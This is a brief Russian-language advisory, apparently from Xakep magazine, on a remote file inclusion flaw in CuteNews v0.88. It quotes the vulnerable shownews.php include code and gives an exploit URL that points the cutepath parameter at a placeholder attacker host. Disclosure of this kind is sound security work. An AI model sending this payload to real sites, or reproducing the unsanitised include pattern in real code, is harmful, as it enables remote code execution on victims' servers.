Вставка произвольного кода в CuteNews

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Вставка произвольного кода в CuteNews v0.88 

shownews.php : 

if(!$cutepath) $cutepath="."; 
require_once("$cutepath/config.php"); 
{.........}
$all_news=file("$cutepath/news.txt");

Реализация:

http://[VICTIM]/cutenews/shownews.php?cutepath=http://[ATTACKER]/